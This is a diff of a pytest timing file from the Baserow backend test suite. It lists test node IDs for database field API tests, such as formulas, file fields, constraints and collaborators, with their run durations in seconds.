"tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_date_field_type_force_timezone_offset": 0.20879675100059103, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_date_field_type_invalid_force_timezone_offset": 0.17114683399995556, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_email_field_type": 0.26769937600056437, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_file_field_type": 0.7170724160005193, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_formula_field_type": 0.21191683400047623, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_last_modified_field_type": 0.3185734170001524, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_long_text_field_type": 0.28175870800077973, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_lookup_field_type": 0.49439033400085464, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_multiple_select_field_type": 0.5187610000011773, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_number_field_type": 0.2858110000006491, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_phone_number_field_type": 0.2581953329981843, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_text_field_type": 0.17794670799958112, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_url_field_type": 0.27373166699999274, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field": 0.5534613750005519, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_invalid_values": 0.40855999999985215, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_mixed_types": 0.41061691700087977, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_with_csv_string": 0.586350083999605, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_without_name_property": 0.1551956670000436, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_update_rows_file_field": 0.5605403330009722, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_update_rows_file_field_wrong_file": 0.2886038760007068, - "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_update_rows_file_field_zero_files": 0.16541945800054236, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_token_options": 0.014267749997088686, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[-1 year -2 mons +3 days 04:05:06-parsed_value5]": 0.015101916011190042, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[04:05:06-parsed_value12]": 0.014181623992044479, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[04:05:06-parsed_value3]": 0.014047873992240056, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 1 mon 1 day-parsed_value7]": 0.014232583984266967, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 1:02:03-parsed_value9]": 0.013540042040403932, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 2 mons -3 days 04:05:06-parsed_value6]": 0.014147666981443763, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 2 mons 3 days 04:05:06-parsed_value4]": 0.014421750005567446, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year-parsed_value0]": 0.015012582996860147, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[2 mons 3 days-parsed_value10]": 0.01398287498159334, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[2 mons-parsed_value1]": 0.014522292010951787, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[2 years 2 mons-parsed_value8]": 0.013805916998535395, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[3 days 03:04:05-parsed_value11]": 0.013841126026818529, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[3 days-parsed_value2]": 0.014155042008496821, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_batch_create_rows_with_constraint_success": 0.16321716702077538, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_batch_create_rows_with_constraint_violation": 0.17773558301269077, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_batch_update_rows_with_constraint_success": 0.16881045699119568, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_batch_update_rows_with_constraint_violation": 0.16809208400081843, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_field_with_constraint_data_conflict": 0.15341145801357925, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_field_with_invalid_constraint": 0.12173441797494888, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_field_with_valid_constraint": 0.14590524998493493, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_row_with_constraint_after_removing_constraint": 0.2249246659630444, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_row_with_constraint_empty_value": 0.19123254201258533, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_row_with_constraint_success": 0.1637153739866335, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_row_with_constraint_violation": 0.17697320802835748, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_single_select_field_with_default_and_constraint": 0.14604666602099314, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_create_text_field_with_default_and_constraint": 0.13362354101263918, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_field_constraints_undo_redo": 0.23559904302237555, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_add_constraint_to_field_with_default": 0.14521591598168015, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_remove_constraint": 0.17349575000116602, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_remove_default_and_add_constraint_succeeds": 0.16953179196571, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_type_with_incompatible_constraints": 0.1509828739799559, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_with_compatible_constraint": 0.1970510410319548, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_with_valid_constraint": 0.16226716499659233, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_field_without_constraints_preserves_existing": 0.17682612503995188, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_row_to_same_value_with_constraint": 0.16748024997650646, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_row_with_constraint_success": 0.17076091797207482, + "tests/baserow/contrib/database/api/fields/test_field_constraint_views.py::test_update_row_with_constraint_violation": 0.1600580409867689, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_async_duplicate_field": 21.675863459007815, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_field_type_with_active_sort_on_field": 0.2073797489865683, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_different_table": 0.142700374010019, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_and_back": 0.19878058400354348, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_is_already_primary": 0.12339716602582484, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_no_update_permissions": 0.200411791971419, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_with_primary": 0.15142970802844502, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_without_primary": 0.13064358301926404, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_type_not_primary": 0.1326899999694433, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field": 0.2794467500061728, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field_returns_with_error_if_cant_lock_table_if_locked_for_key_share": 0.3432144579710439, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field_returns_with_error_if_cant_lock_table_if_locked_for_update": 0.32231462400523014, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field_with_db_index": 0.14737775002140552, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field_with_db_index_incompatible_field_type": 0.14371766601107083, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_delete_field": 0.3104277499951422, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_get_field": 0.2062824989843648, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_list_fields": 0.26412025003810413, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_list_read_only_field_types": 0.13358754198998213, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_list_read_only_fields": 0.13071029100683518, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_database_token": 0.2800931659876369, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_database_token_no_read_permissions": 0.20910599999479018, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_empty_password": 0.13272525000502355, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_field_disabled": 0.11832341604167596, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_field_not_exist": 0.09371216697036289, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_no_access_to_field": 0.19962712604319677, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_row_does_not_exist": 0.12987054101540707, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_success": 0.27184937498532236, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_unauthenticated": 0.018821250996552408, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_password_field_authentication_wrong_password": 0.26895016702474095, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_unique_row_values": 0.15848291700240225, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_unique_row_values_incompatible_field_type": 0.12520375003805384, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_unique_row_values_splitted_by_comma": 0.13783691698336042, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field": 0.7013557080063038, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_cannot_change_read_only_and_immutable_properties": 0.17605970799922943, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_properties": 0.12084062400390394, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_properties_all_types_change_only_name": 11.783202666032594, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_properties_change_type": 0.12008241799776442, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_properties_change_type_and_properties": 0.12027899900567718, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_properties_constraints": 0.13147891699918546, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_type": 0.1381178750016261, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_immutable_type_change_properties": 0.1588430420088116, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_number_type_deprecation_error": 0.11925329201039858, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_read_only_constraints": 0.13584149899543263, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_field_if_locked_for_key_share": 0.33040345800691284, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_field_if_locked_for_update": 0.35499270900618285, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_table_if_locked_for_key_share": 0.345070667041, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_table_if_locked_for_update": 0.3382344590208959, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_with_db_index": 0.16597908301628195, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_with_db_index_incompatible_field_type": 0.16018054098822176, + "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_with_db_index_to_incompatible_type": 0.16682391602080315, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_created_on_field_type": 0.24872683300054632, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_date_field_type": 0.255258709017653, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_date_field_type_force_timezone_offset": 0.21155345800798386, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_date_field_type_invalid_force_timezone_offset": 0.15222233298118226, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_email_field_type": 0.32698341700597666, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_file_field_type": 0.6822680830373429, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_formula_field_type": 0.22872616499080323, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_last_modified_field_type": 0.39185683298273943, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_long_text_field_type": 0.35227954198489897, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_lookup_field_type": 0.9071097080013715, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_multiple_select_field_type": 0.9320144589873962, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_number_field_type": 0.38876274999347515, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_phone_number_field_type": 0.36750745901372284, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_text_field_type": 0.159295416000532, + "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_url_field_type": 0.35407745803240687, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field": 0.3889083749963902, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_invalid_values": 0.2783925419789739, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_mixed_types": 0.2833572079834994, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_with_csv_string": 0.44175558499409817, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_create_rows_file_field_without_name_property": 0.13248987501719967, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_update_rows_file_field": 0.39293058298062533, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_update_rows_file_field_wrong_file": 0.21709620801266283, + "tests/baserow/contrib/database/api/fields/test_file_field_views.py::test_batch_update_rows_file_field_zero_files": 0.15597241700743325, "tests/baserow/contrib/database/api/fields/test_file_views.py::test_batch_create_rows_file_field": 0.2492691200001218, "tests/baserow/contrib/database/api/fields/test_file_views.py::test_batch_update_rows_file_field": 0.24810819900005754, "tests/baserow/contrib/database/api/fields/test_file_views.py::test_batch_update_rows_file_field_wrong_file": 0.1409096510000154, "tests/baserow/contrib/database/api/fields/test_file_views.py::test_batch_update_rows_file_field_zero_files": 0.09681221900007131, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_altering_type_of_underlying_causes_type_update": 0.23054941600094025, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_altering_type_of_underlying_causes_type_update_nested": 0.26966812599948753, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_altering_value_of_referenced_field": 0.24957395900037227, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_compare_date_and_text": 0.1959402090005824, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_set_number_of_decimal_places": 0.2664574589998665, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_type_a_valid_formula_field": 0.2012815829993997, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_altering_type_of_underlying_causes_type_update": 0.32781112601514906, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_altering_type_of_underlying_causes_type_update_nested": 0.4315533750341274, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_altering_value_of_referenced_field": 0.30680933300754987, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_compare_date_and_text": 0.2218906249909196, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_set_number_of_decimal_places": 0.33050154201919213, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_type_a_valid_formula_field": 0.20157991797896102, "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_can_type_an_invalid_formula_field": 0.125973055997747, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_cant_make_circular_reference": 0.2065693750000719, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_cant_make_self_reference": 0.15528070900109014, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_cant_type_an_invalid_formula_field": 0.2037787089993799, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_changing_name_of_referenced_field_by_formula": 0.22239012499994715, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_changing_type_of_reference_field_to_invalid_one_for_formula": 0.2373795829998926, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_changing_type_of_reference_field_to_valid_one_for_formula": 0.23419404099968233, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_deleting_underlying_causes_type_update_nested": 0.2659171649993368, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_deleting_underlying_causes_type_update_nested_after_update": 0.2827657919997364, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_referencing_single_select": 0.20749379199969553, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_child_field": 0.21665404099894658, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_creating_child_field": 0.2586743750016467, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_formula_field": 0.21456262500032608, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_renaming_child_field": 0.27646904199991695, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_restoring_child_field": 0.2576577499994528, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_row_changing_formula_restoring_row": 0.26153858399993624, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_bad_syntax": 0.1955862499989962, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_cant_make_circular_reference": 0.21882604202255607, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_cant_make_self_reference": 0.1402266669610981, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_cant_type_an_invalid_formula_field": 0.19820499999332242, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_changing_name_of_referenced_field_by_formula": 0.2904807500017341, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_changing_type_of_reference_field_to_invalid_one_for_formula": 0.38120512597379275, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_changing_type_of_reference_field_to_valid_one_for_formula": 0.2971772909804713, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_deleting_underlying_causes_type_update_nested": 0.3899622909957543, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_deleting_underlying_causes_type_update_nested_after_update": 0.39087204201496206, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_referencing_single_select": 0.232122374989558, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_child_field": 0.28477158400346525, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_creating_child_field": 0.39185829198686406, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_formula_field": 0.26438325000344776, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_renaming_child_field": 0.4732625419856049, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_restoring_child_field": 0.4648509999969974, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_trashing_row_changing_formula_restoring_row": 0.4036857510218397, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_bad_syntax": 0.20755066696438007, "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_circular_reference": 0.12905616100033512, "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_missing_field": 0.09792185100377537, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_missing_parameters": 0.19294741700014129, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_missing_table": 0.17159158399954322, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_missing_parameters": 0.2157827909977641, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_missing_table": 0.15259145901654847, "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_non_formula_field": 0.09061722999831545, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_self_reference": 0.17726512500030367, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_for_self_reference": 0.1533565410063602, "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_if_not_permissioned_for_field": 0.1713761080027325, - "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_if_not_permissioned_for_table": 0.33241104200078553, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_create_last_modified_by_field_type": 0.17075029199986602, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_create_last_modified_by_field_type_row": 0.17839662600090378, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_delete_last_modified_by_field_type": 0.16345866700066836, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_update_last_modified_by_field_type": 0.17001504300060333, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_last_modified_by_field_type_batch_insert_rows": 0.4326259570007096, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_last_modified_by_field_type_batch_update_rows": 0.4312498340004822, - "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_update_last_modified_by_field_type_row": 0.18198075099917332, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field": 0.212143417000334, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_invalid_text_values": 0.20755004199963878, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_invalid_values": 0.2075567920010144, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_other_value_types": 0.21142487499946583, + "tests/baserow/contrib/database/api/fields/test_formula_views.py::test_type_endpoint_returns_error_if_not_permissioned_for_table": 0.2682024999812711, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_create_last_modified_by_field_type": 0.13888570800190791, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_create_last_modified_by_field_type_row": 0.178174418018898, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_delete_last_modified_by_field_type": 0.14963529203669168, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_api_update_last_modified_by_field_type": 0.16167783399578184, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_last_modified_by_field_type_batch_insert_rows": 0.31624208399443887, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_last_modified_by_field_type_batch_update_rows": 0.33470095798838884, + "tests/baserow/contrib/database/api/fields/test_last_modified_by_views.py::test_update_last_modified_by_field_type_row": 0.18338379295892082, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field": 0.27690254102344625, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_invalid_text_values": 0.2234029579849448, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_invalid_values": 0.24137808399973437, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_other_value_types": 0.2923449999943841, "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_row_field_with_text_values": 0.17000147816725075, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_same_table_row_field": 0.19566579199999978, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_update_rows_link_row_field": 0.22124608299873216, - "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_update_rows_link_same_table_row_field": 0.18694308399972215, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_delete_rows": 0.1989441670002634, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_insert_rows": 0.4502537919997849, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_insert_rows_validation": 0.30239008399894374, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_update_rows": 0.4693430429997534, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_update_rows_validation": 0.3230502090009395, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_create": 0.16736066700013907, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_delete": 0.17141208300017752, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_delete_row": 0.1817052499991405, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_insert_row": 0.4458364160000201, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_insert_row_validation": 0.30905487299969536, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_update": 0.17683770999974513, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_update_row": 0.4646547089996602, - "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_update_row_validation": 0.3188588749990231, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_create_rows_multiple_select_field": 0.17566670700034592, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_create_rows_multiple_select_field_with_invalid_string_as_value": 0.1622654180000609, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_create_rows_multiple_select_field_with_string_as_value": 0.17733579200012173, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field": 0.17632208300074126, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field_maintain_relationships": 0.19391933499991865, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field_null_as_id": 0.1619694579994757, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field_wrong_option": 0.16303587600032188, - "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_when_single_select_formula_in_an_error_state": 0.20459512500019628, - "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_batch_create_rows_single_select_field": 0.1644962080008554, - "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_batch_update_rows_single_select_field_wrong_option": 0.1594946240002173, - "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_cannot_pass_internal_force_create_option": 0.17341441700045834, - "tests/baserow/contrib/database/api/fields/test_url_field_views.py::test_get_rows_with_lookup_url": 0.4300846250007453, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_create_rows_link_same_table_row_field": 0.21495233400491998, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_update_rows_link_row_field": 0.25790849997429177, + "tests/baserow/contrib/database/api/fields/test_link_row_views.py::test_batch_update_rows_link_same_table_row_field": 0.21856579097220674, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_delete_rows": 0.18876154097961262, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_insert_rows": 0.3468470840307418, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_insert_rows_validation": 0.2353214170143474, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_update_rows": 0.39654091699048877, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_batch_update_rows_validation": 0.2556933749874588, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_create": 0.15533087600488216, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_delete": 0.16398270800709724, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_delete_row": 